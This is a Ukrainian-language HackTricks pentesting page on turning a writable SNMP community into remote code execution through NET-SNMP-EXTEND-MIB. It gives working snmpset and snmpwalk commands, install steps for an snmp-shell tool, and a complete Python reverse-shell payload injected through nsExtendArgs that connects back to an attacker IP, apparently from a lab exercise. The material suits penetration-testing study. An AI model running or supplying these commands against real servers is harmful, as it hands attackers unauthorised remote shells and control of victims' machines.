SNMP RCE

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

SNMP RCE

SNMP може бути використаний зловмисником, якщо адміністратор не врахував його типову конфігурацію на пристрої або сервері. Зловмисник може виконати команди на сервері, зловживаючи SNMP-спільнотою з правами запису (rwcommunity) на операційній системі Linux.

Розширення сервісів за допомогою додаткових команд

Для розширення служб SNMP та додавання додаткових команд можна додавати нові рядки до таблиці "nsExtendObjects". Це можливо зробити за допомогою команди snmpset, надаючи необхідні параметри, включаючи абсолютний шлях до виконуваного файлу та команду для виконання:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Впровадження команд для виконання

Впровадження команд для виконання на службі SNMP передбачає наявність та можливість виконання викликаного бінарного/скриптового файлу. NET-SNMP-EXTEND-MIB вимагає надання абсолютного шляху до виконавчого файлу.

Для підтвердження виконання впровадженої команди можна використовувати команду snmpwalk для переліку служби SNMP. Вивід відобразить команду та пов'язані з нею деталі, включаючи абсолютний шлях:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Виконання впроваджених команд

Коли впроваджена команда зчитується, вона виконується. Це поведінка відома як run-on-read(). Виконання команди можна спостерігати під час читання snmpwalk.

Отримання оболонки сервера за допомогою SNMP

Для отримання контролю над сервером та отримання оболонки сервера можна використовувати сценарій на Python, розроблений mxrch, з https://github.com/mxrch/snmp-shell.git.

Також можна вручну створити зворотню оболонку, впровадивши конкретну команду в SNMP. Ця команда, спровокована snmpwalk, встановлює зворотне з'єднання оболонки з машини атакуючого, що дозволяє контролювати машину жертви. Ви можете встановити передумову для запуску цього:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Або зворотний shell:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated